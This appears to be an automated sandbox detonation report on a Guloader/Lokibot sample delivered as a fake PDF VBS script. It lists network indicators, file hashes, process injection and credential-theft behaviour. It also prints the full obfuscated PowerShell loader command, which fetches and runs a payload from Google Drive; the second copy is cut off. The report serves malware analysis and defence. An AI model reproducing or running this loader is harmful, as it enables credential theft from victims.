C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sjaelelivets.Son && echo t"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 drive.google.com udp
GB 216.58.201.110:443 drive.google.com tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 142.250.179.225:443 drive.usercontent.google.com tcp
GB 216.58.201.110:443 drive.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.179.227:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.179.227:80 o.pki.goog tcp
GB 142.250.179.225:443 drive.usercontent.google.com tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 137.184.191.215 tcp

Files

C:\Users\Admin\AppData\Local\Temp\CabB51E.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

memory/2768-20-0x000007FEF682E000-0x000007FEF682F000-memory.dmp

memory/2768-23-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

memory/2768-22-0x00000000026A0000-0x00000000026A8000-memory.dmp

memory/2768-21-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

memory/2768-24-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

memory/2768-25-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

memory/2768-26-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

memory/2768-27-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

memory/2768-28-0x000007FEF682E000-0x000007FEF682F000-memory.dmp

memory/2768-29-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

memory/2768-31-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HT8HTU7N3ITUQJ6WSV3F.temp

MD5 2528562ab09b6e0e5239587e5134b9d7
SHA1 be7569e9eca81daa4f2f527e389dd3128ae33e82
SHA256 13fe3e60e72c2f750038edddf36eefd4aa3699759fe50d68893a7fe557e01f6a
SHA512 aad5a139028b80d3c80bc6e1df1f0075d70cd8309ff11f413e448504435127494823803d2c50a069f07d7b0eac67a7358f65f1653474cdabb3e8b838fa344534

C:\Users\Admin\AppData\Roaming\Sjaelelivets.Son

MD5 d952477f892ae0e25f9facc609554a0d
SHA1 617591cade5b3efd2906e8ce468e7cf7d88f7539
SHA256 f36ff78fac53b01ed65ec3678ee315acb92a630521c94da29a3cc57fe61520ba
SHA512 2f755f0c4e8bab2310b3573ea0c84a18cf1baed9e37af96105b59648bf7639506bd5323b225f22e9d871bac2bd54837ec37b04d714d373106b1575f261d671d8

memory/1424-36-0x0000000006640000-0x0000000009D62000-memory.dmp

memory/1212-38-0x0000000000400000-0x0000000000581000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 4f3fdd25739a473fd74e7d9d4f47c1b7
SHA1 8c3d70ca85d1a781d2d17f77ce6a0bebff098b9c
SHA256 424fefb8aa8b74ffe1a7a7d61b94ed361f40bcad6fabb940c3b608080e20b62e
SHA512 98c0b906209c4a1fbd61872cd0bb0261edcf645f33e823d42cfa64b3fc762574832682a7d29e4bc7d24a8cccc260dca3ccc92f0c88d626aab28b41d3188aea39

C:\Users\Admin\AppData\Local\Temp\Tar894D.tmp

MD5 4ea6026cf93ec6338144661bf1202cd1
SHA1 a1dec9044f750ad887935a01430bf49322fbdcb7
SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA512 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

memory/1212-63-0x00000000006D0000-0x0000000003DF2000-memory.dmp

memory/2768-64-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-312935884-697965778-3955649944-1000\0f5007522459c86e95ffcc62f32308f1_1defa0c0-fc04-4155-83bc-b490dbaa3679

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-312935884-697965778-3955649944-1000\0f5007522459c86e95ffcc62f32308f1_1defa0c0-fc04-4155-83bc-b490dbaa3679

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Analysis: behavioral2

Detonation Overview

Submitted

2024-09-09 13:08

Reported

2024-09-09 13:11

Platform

win10v2004-20240802-en

Max time kernel

148s

Max time network

150s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\BUDŽETSKI ZAHTJEV 09-09-2024·pdf.vbs"

Signatures

Guloader,Cloudeye

downloader guloader

Lokibot

trojan spyware stealer lokibot

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wab.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wab.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wab.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Network Service Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2604 set thread context of 3788 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4920 wrote to memory of 1328 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4920 wrote to memory of 1328 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1328 wrote to memory of 2884 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 1328 wrote to memory of 2884 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 1328 wrote to memory of 2604 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 1328 wrote to memory of 2604 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 1328 wrote to memory of 2604 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2604 wrote to memory of 3424 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2604 wrote to memory of 3424 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2604 wrote to memory of 3424 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2604 wrote to memory of 2500 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2604 wrote to memory of 2500 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2604 wrote to memory of 2500 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2604 wrote to memory of 3788 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2604 wrote to memory of 3788 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2604 wrote to memory of 3788 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2604 wrote to memory of 3788 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2604 wrote to memory of 3788 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wab.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wab.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\BUDŽETSKI ZAHTJEV 09-09-2024·pdf.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Buln='nonsensitised';$Lavines=${host}.Runspace;If ($Lavines) {$Mizrah++;$Buln+='Perspectiveless234';$Snazziest='su';$Buln+='Colloquialises';$Snazziest+='bs';$Buln+='Syrnes';$Snazziest+='tri';$Buln+='Falankses';$Snazziest+='ng';};Function Billedtelefonerne($Varmluften){$Udpnses=$Varmluften.Length-$Mizrah;For( $Klippeens=5;$Klippeens -lt $Udpnses;$Klippeens+=6){$konsekvensberegningernes+=$Varmluften.$Snazziest.'Invoke'( $Klippeens, $Mizrah);}$konsekvensberegningernes;}function Bousoukis($Traitorwise){ .($Fossilification) ($Traitorwise);}$Shoppish=Billedtelefonerne 'Fo.ecMCaptaoReanizSnohaiPend.lOverslNedsnaUninf/A.nds5Quill.Monte0,asse Estra(Sub,eW Or,giUnpicnudtrydBrndsoPruttwNuptisHinde Ste.eNBegitT Fore Udsty1Whist0Unha..,indi0Kil,r;Dil t ThoroW Aa eiSarpenWench6Taxie4Tller;Altan Voltsxsuper6Sv,ge4Aarbo; Prov NonocrDisemvFlu f:Loada1Solsk2Gemmi1Isodo.Forml0Chins)Te,no ZiskGRete,e Id ocKlo,kkUninioDream/M sma2Cente0Pol,l1,meri0Skmte0Fe lv1Kontr0Overd1Sortl Emb.FPottiitr.sprTilgoeFiremfLibelo,fterxKomme/.andf1E,ter2 Gara1Afson.Lan,l0Overi ';$Fedtsmelteriet=Billedtelefonerne 'Pro,uUsammesKngteeSlikmr buck-IndviANa.teg DigeeIrritnRge,nt Krid ';$uncanonic=Billedtelefonerne 'Dischh.onsit,trantF lkepNon,esSupra:devil/aquin/polardGunrar UnmeiWiredvLabaaeposts.Su,trgTin,eoDibbloKbereg Folkl,olidePresi. TroucPrusto intemT,eca/Asperu AnnucGerni?Drif.eKlippxBomhupMy tio Sh.erBaeltt Stic=Tryk,dSkadeo Hardw Mol n rutclAdstio GrunaStubmdExpat&Indfri ForbdAlito= Ratt1Unf.aDsekulOCholeOC icoM AnemHHerme6KatasnFravrY UmboQScytoXTetr R erbe0MelibkEmulgiBrief-Dig,a5 isocwEkshigSam eAUdmalQreg,av pho HmeditmTredvFRe egt HuskmBill.oBoxinPSl tsRI,dorHDdssejErectLF rca ';$Multiferous=Billedtelefonerne 'Kolle>Phyt. ';$Fossilification=Billedtelefonerne 'T.rreiS,ndqeCholexTurur ';$Enkleres='Stormkurens';$Befolkningstilvkstens187 = Billedtelefonerne ' O,gaeForescHalloh BookoSamme Ska,e%ForklaFluffpMarchpGalvadskrataOmb,ntIntraaTryg %Putte\AtlasS Jog jTitalaMusikeVolutl TurbeDiskalA,beji b,gsvSegmeeVocaltdekl,sRubri.SinuaSUnpeno ArtinCotyl ount&Bu ko&Homes Arbeje AdrecLivsghSv.etoCavia Robert Tr,u ';Bousoukis (Billedtelefonerne 'Brnep$MiliegSprinlGlagaoIdiotb Imbaa Odi,lHypoc:SvcelR.akeleRe.rog incoe,oellrNongridragsnUnshagScrews olitfMar.lo ArberHe.dim AdeleP,esinGest.sf,rha=pavha(A gioc Undem Fanad Sh.u Erhve/Nati.c impr In.e$SpiceBCo.preKolibfTilbeoFje.nlSlutnk Con.nUdineiSatisnForskgEmotisGen.eteastii turnl SkumvAfsejkDals sPatietUnmoleVanitnHrev,sAld.r1 Bogh8 Blan7Lea.e)Bused ');Bousoukis (Billedtelefonerne ' Anna$ExudegPatril M.leoSouthbTanksaTrffel Left:S,alaPOmrinhBen io .ltrn OksegchimbhAdamsiApp,a=Passa$ IncouVen,tnPrehecAqu caRacisnErhveoParf,nDi imiPost,c igem.CariasSkandpKlagelToileiGle.atBalee(Ko,ne$FibroMSerseuDi selPi.ketArviniBlindfGang,e Smitr JibboConcou Overs Fi,e)Ho.pe ');Bousoukis (Billedtelefonerne ' Loyn[Ops.rNAt.one Uds,tdeput. FortSExlu,eLevnerHightvv llai,hiffc andbeFirebPAnagooPert i Dobbn PenitfarinMGy.deaPh.ton onomaUnsheg U.eaeFugefr ,qui]Trilo:flikk:TransSV gtie S jacS.artuAfgi.rButiki.robltAminoyRoustPfilmkrLibidoUndertBawdioUdsa.cBeatnoKred.lHawth Basis=I vol Undl[lofteNMedieeRuinhtUk le. ealoSantiveCrudicBerycuBeat,rRadioiStrsttSvippy E trPKrikarCardioappart Elyto Magnc ecuoMy,delfodboTM.ssiyM.nigpUundveK nfe]Ruach: Frs :HandsT KulslBe.ass H mi1Cheat2Mormd ');$uncanonic=$Phonghi[0];$Anliggender= (Billedtelefonerne 'Xy og$Prea gSka mlKilowoE sedbMetalaApolilFe,ie:PenplbConvirEle ao MdepnUs,glc,apith AfsmiStudsoBr gelAmuckeAntipsAd es=Coro,NContie Fremw ,nto-Cof.eOFasthbSuperj gebyebrnebc TyngtRh,om Bjr sSLemuryGlemnsBilopt Abs,eOffenm etra. EndoNC.nsueLe.trt aadf.FetteWLambeeThankbMantlCPretrlDemoliRia.feBa,atnSedest');$Anliggender+=$Regeringsformens[1];Bousoukis ($Anliggender);Bousoukis (Billedtelefonerne ' Exte$Por.rbWat,irGalvaoS.illnTopsic T.leh vicoisoffio,ykell CalieDi,lesDrivh.sakskHUflsoe,perlaAcesodOfficeSkrubr,iomesDeefo[ Affl$LrredF.ndererampadRekvitTardesR,bssmraadveSkaa,le.tertFurrye RaccrPseudiMiasmeAmbistRes m]Fordr=Adjek$Ha,deSChatth Por o UdenpAsperp BoneiHnsehsIrerehCh,vr ');$Plankevrkslyttere=Billedtelefonerne ' Asse$AfsprbTri mrstimuoRelesnCas.ecLimithFinlaiEcchyo Kanal TopmeInd,asTsarr.Nabo.DligatoPl ntwRi,inn Forpl Ob,eo .ymmaStttedSanerFSengei PriclP,nameForny(Kulfy$Molybu irconBroodcNavicaTraefnSynlio PerinGa leinulr,cOverb,Pavag$AflvnDudsn aBegyng SjussC.lsilBlindygrubbs RetmeCusp nD ceneLipom)Nidig ';$Dagslysene=$Regeringsformens[0];Bousoukis (Billedtelefonerne ' ,ods$Se stgPennyleft roKit.ebPetcoaUnabolLance:LnindDVin eaStrenrViolarB.tisyGrifflUnind=Has.a(AabenTPort.eTi.trsCon et Anst-AfvigPAnmodaF lmktPesteh Gran Oscul$IngleD UrdeaCienegBoghos K utlG,senyFodb.sAwarre glycnSnappeThank)Dolla ');while (!$Darryl) {Bousoukis (Billedtelefonerne 'Subor$ AcetgGrandlAfskyoGge.abTelevaFendelUl.nd:Bygn PpennieFoto cStagh=,erro$ ethntFerv.r CantuGe.neePotch ') ;Bousoukis $Plankevrkslyttere;Bousoukis (Billedtelefonerne 'CorreSUnfamt .lesaHig rrHundetBe,ej-Tin,lScl.fflSemaseYdrere Di,lpMy os Vil.e4merr. ');Bousoukis (Billedtelefonerne 'Spio $SolidgO,logl k ndoPe.vib sea.a Insulanale:hotheDReta a Vaa.r,rracrR,ndoy emolS.lkw=tuema(ArcadTGodlieDesirsSkinktAn iv-SkraaPTiensaSl tttUnbinhP.isi Byaas$Anna.D Lu haKa,gagCaul.sOvernlfrivoyFr,nusExpa,eI,semn,djvneAnimo)mnt.o ') ;Bousoukis (Billedtelefonerne 'flles$Akklig DivalYaguaoKartob.vildaSingll sphe:R,steOTuredv Ambie Arb rFug,sb MotoyAabnegMonkhnRealliMet.nnYakatg Kom,sOverau AxindB,okedVol maAmur,nkredsnAdrese Adstl SkuasRindaeOpst.=Yolk.$Kns,vgCrosslEnclao Torpb St ka Trstl ntic:LuftfL Fi uo AccecVisseoMes pmT.nctoSilb.tomta,i,ersovDroejeFotokml erveMonicnKnit.+clean+Galan%Bisma$MinilPD.leahGlebeoHo,bynCottegMonoph Cashi Ta,j.ReinecGenanoGas,uuFedt.nStoretbrneb ') ;$uncanonic=$Phonghi[$Overbygningsuddannelse];}$Salpingian=328811;$Antirumor=29061;Bousoukis (Billedtelefonerne ' Hov,$Riddeg,dgivlAnti,oFewsbbTav.raAlabalMande:PolysSbortspVoltaaTr.ldg Liv h WhoreprisetSquirtFortaiEks leSprngnLionce.eeks1Sinwa9Arome5Relat Hotc=Kode. CurahGIncr.eFl,ugt jayh-PhilaC,amdeo.ksekn ProltSovemeUngarnwi gitHirpl dybst$AutomDTi.taaTabl,gTjekksCrosslJauntyEngi sslumaeFormanAcouseOmegn ');Bousoukis (Billedtelefonerne 'Forna$KkkengDe.qulEch.io FjerbTorpeaSelvslEpide:aberoDAlle hSpitfoTrapetIndiseRiseneStrbe Klben= Aggl Tagka[ForpaSDaddlyFib,isEuchot offeeKrselmFrise.DowntCPut eoTugtenOpfinvRatsbeFor,brEnt mtPirip]Unma,:Tilpl:KlippFWaynerAtlasoHoddemBlushBSmertaBundssAmbu.eWager6 Occa4FilmqSChorytTraverEf eriPinien.harcgO.erw( Enau$KenyaSSpindpLrkenai,tergDa.ueh Talee PerctScrumtTraveiR.binePoo lnlithoeRhode1Pelti9Torsk5Suffe)nonle ');Bousoukis (Billedtelefonerne 'Arara$testmgEndoslUnderoNowhabcarpoa PoinlApppe:FlyveNKomp.oEmun nMosbetUnhawy u mipbeboeo Opg.g AdjurVarmeaSwagep B.adhRoendiTeleccArgut Ov rw=Grand Boatl[ SunbS Vve yBelyssSm,ldtRaaheeTrufnmBr,ar.krydsTMedune.eorgxOpl,gtBulbl.whammEMicronmervicSuperoDedukd SonaiKamernAllelgUnder]Akter:Dyrev:UnuniASightSPraesC.orbrI EpheI yre.FlaadGAmiceeinta,tSydamSAcadetYonkerUna,liFor,rnDrikkg Meso(Nring$DefroD LithhVaultoBabyst TetreRemo e,ondu) ormu ');Bousoukis (Billedtelefonerne 'Tje,i$Dr.vig HypelTusmooExcenbDiscoaAfspilAffal: Mut DOverieDisinmMorgeoSubaunParapoSkr vl P,ddo Una,gTjekkyDupli1 H,je2Dok,o4Phaeo=henaa$BreddN Su.poIagttnNeurotdisp,y IdeppArrhioDewatgEfterrPlasta nfep,econhun.nsi RecocAle,i. Gro,s SommuFor ubBrssps PhertAfmrkrLystriFundunRoulegForeb( Anpa$,ekupSkandiaheirel ,aryp,jendiSa,ornRatifg .pspiRussiaAk.ivn Unco,.otra$HalerA Inf nEnergtChil iAproprAfsniu UndrmProfeo FiberEnzym)uni,e ');Bousoukis $Demonology124;"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sjaelelivets.Son && echo t"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Buln='nonsensitised';$Lavines=${host}.Runspace;If ($Lavines) {$Mizrah++;$Buln+='Perspectiveless234';$Snazziest='su';$Buln+='Colloquialises';$Snazziest+='bs';$Buln+='Syrnes';$Snazziest+='tri';$Buln+='Falankses';$Snazziest+='ng';};Function Billedtelefonerne($Varmluften){$Udpnses=$Varmluften.Length-$Mizrah;For( $Klippeens=5;$Klippeens -lt $Udpnses;$Klippeens+=6){$konsekvensberegningernes+=$Varmluften.$Snazziest.'Invoke'( $Klippeens, $Mizrah);}$konsekvensberegningernes;}function Bousoukis($Traitorwise){ .($Fossilification) ($Traitorwise);}$Shoppish=Billedtelefonerne 'Fo.ecMCaptaoReanizSnohaiPend.lOverslNedsnaUninf/A.nds5Quill.Monte0,asse Estra(Sub,eW Or,giUnpicnudtrydBrndsoPruttwNuptisHinde Ste.eNBegitT Fore Udsty1Whist0Unha..,indi0Kil,r;Dil t ThoroW Aa eiSarpenWench6Taxie4Tller;Altan Voltsxsuper6Sv,ge4Aarbo; Prov NonocrDisemvFlu f:Loada1Solsk2Gemmi1Isodo.Forml0Chins)Te,no ZiskGRete,e Id ocKlo,kkUninioDream/M sma2Cente0Pol,l1,meri0Skmte0Fe lv1Kontr0Overd1Sortl Emb.FPottiitr.sprTilgoeFiremfLibelo,fterxKomme/.andf1E,ter2 Gara1Afson.Lan,l0Overi ';$Fedtsmelteriet=Billedtelefonerne 'Pro,uUsammesKngteeSlikmr buck-IndviANa.teg DigeeIrritnRge,nt Krid ';$uncanonic=Billedtelefonerne 'Dischh.onsit,trantF lkepNon,esSupra:devil/aquin/polardGunrar UnmeiWiredvLabaaeposts.Su,trgTin,eoDibbloKbereg Folkl,olidePresi. TroucPrusto intemT,eca/Asperu AnnucGerni?Drif.eKlippxBomhupMy tio Sh.erBaeltt Stic=Tryk,dSkadeo Hardw Mol n rutclAdstio GrunaStubmdExpat&Indfri ForbdAlito= Ratt1Unf.aDsekulOCholeOC icoM AnemHHerme6KatasnFravrY UmboQScytoXTetr R erbe0MelibkEmulgiBrief-Dig,a5 isocwEkshigSam eAUdmalQreg,av pho HmeditmTredvFRe egt HuskmBill.oBoxinPSl tsRI,dorHDdssejErectLF rca ';$Multiferous=Billedtelefonerne 'Kolle>Phyt. ';$Fossilification=Billedtelefonerne 'T.rreiS,ndqeCholexTurur ';$Enkleres='Stormkurens';$Befolkningstilvkstens187 = Billedtelefonerne ' O,gaeForescHalloh BookoSamme Ska,e%ForklaFluffpMarchpGalvadskrataOmb,ntIntraaTryg %Putte\AtlasS Jog jTitalaMusikeVolutl TurbeDiskalA,beji b,gsvSegmeeVocaltdekl,sRubri.SinuaSUnpeno ArtinCotyl ount&Bu ko&Homes Arbeje AdrecLivsghSv.etoCavia Robert Tr,u ';Bousoukis (Billedtelefonerne 'Brnep$MiliegSprinlGlagaoIdiotb Imbaa Odi,lHypoc:SvcelR.akeleRe.rog incoe,oellrNongridragsnUnshagScrews olitfMar.lo ArberHe.dim AdeleP,esinGest.sf,rha=pavha(A gioc Undem Fanad Sh.u Erhve/Nati.c impr In.e$SpiceBCo.preKolibfTilbeoFje.nlSlutnk Con.nUdineiSatisnForskgEmotisGen.eteastii turnl SkumvAfsejkDals sPatietUnmoleVanitnHrev,sAld.r1 Bogh8 Blan7Lea.e)Bused ');Bousoukis (Billedtelefonerne ' Anna$ExudegPatril M.leoSouthbTanksaTrffel Left:S,alaPOmrinhBen io .ltrn OksegchimbhAdamsiApp,a=Passa$ IncouVen,tnPrehecAqu caRacisnErhveoParf,nDi imiPost,c igem.CariasSkandpKlagelToileiGle.atBalee(Ko,ne$FibroMSerseuDi selPi.ketArviniBlindfGang,e Smitr JibboConcou Overs Fi,e)Ho.pe ');Bousoukis (Billedtelefonerne ' Loyn[Ops.rNAt.one Uds,tdeput. FortSExlu,eLevnerHightvv llai,hiffc andbeFirebPAnagooPert i Dobbn PenitfarinMGy.deaPh.ton onomaUnsheg U.eaeFugefr ,qui]Trilo:flikk:TransSV gtie S jacS.artuAfgi.rButiki.robltAminoyRoustPfilmkrLibidoUndertBawdioUdsa.cBeatnoKred.lHawth Basis=I vol Undl[lofteNMedieeRuinhtUk le. ealoSantiveCrudicBerycuBeat,rRadioiStrsttSvippy E trPKrikarCardioappart Elyto Magnc ecuoMy,delfodboTM.ssiyM.nigpUundveK nfe]Ruach: Frs :HandsT KulslBe.ass H mi1Cheat2Mormd ');$uncanonic=$Phonghi[0];$Anliggender= (Billedtelefonerne 'Xy og$Prea gSka mlKilowoE sedbMetalaApolilFe,ie:PenplbConvirEle ao MdepnUs,glc,apith AfsmiStudsoBr gelAmuckeAntipsAd es=Coro,NContie Fremw ,nto-Cof.eOFasthbSuperj gebyebrnebc TyngtRh,om Bjr sSLemuryGlemnsBilopt Abs,eOffenm etra. EndoNC.nsueLe.trt aadf.FetteWLambeeThankbMantlCPretrlDemoliRia.feBa,atnSedest');$Anliggender+=$Regeringsformens[1];Bousoukis ($Anliggender);Bousoukis (Billedtelefonerne ' Exte$Por.rbWat,irGalvaoS.illnTopsic T.leh vicoisoffio,ykell CalieDi,lesDrivh.sakskHUflsoe,perlaAcesodOfficeSkrubr,iomesDeefo[ Affl$LrredF.ndererampadRekvitTardesR,bssmraadveSkaa,le.tertFurrye RaccrPseudiMiasmeAmbistRes m]Fordr=Adjek$Ha,deSChatth Por o UdenpAsperp BoneiHnsehsIrerehCh,vr ');$Plankevrkslyttere=Billedtelefonerne ' Asse$AfsprbTri mrstimuoRelesnCas.ecLimithFinlaiEcchyo Kanal TopmeInd,asTsarr.Nabo.DligatoPl ntwRi,inn Forpl Ob,eo .ymmaStttedSanerFSengei PriclP,nameForny(Kulfy$Molybu irconBroodcNavicaTraefnSynlio PerinGa leinulr,cOverb,Pavag$AflvnDudsn aBegyng SjussC.lsilBlindygrubbs RetmeCusp nD ceneLipom)Nidig ';$Dagslysene=$Regeringsformens[0];Bousoukis (Billedtelefonerne ' ,ods$Se stgPennyleft roKit.ebPetcoaUnabolLance:LnindDVin eaStrenrViolarB.tisyGrifflUnind=Has.a(AabenTPort.eTi.trsCon et Anst-AfvigPAnmodaF lmktPesteh Gran Oscul$IngleD UrdeaCienegBoghos K utlG,senyFodb.sAwarre glycnSnappeThank)Dolla ');while 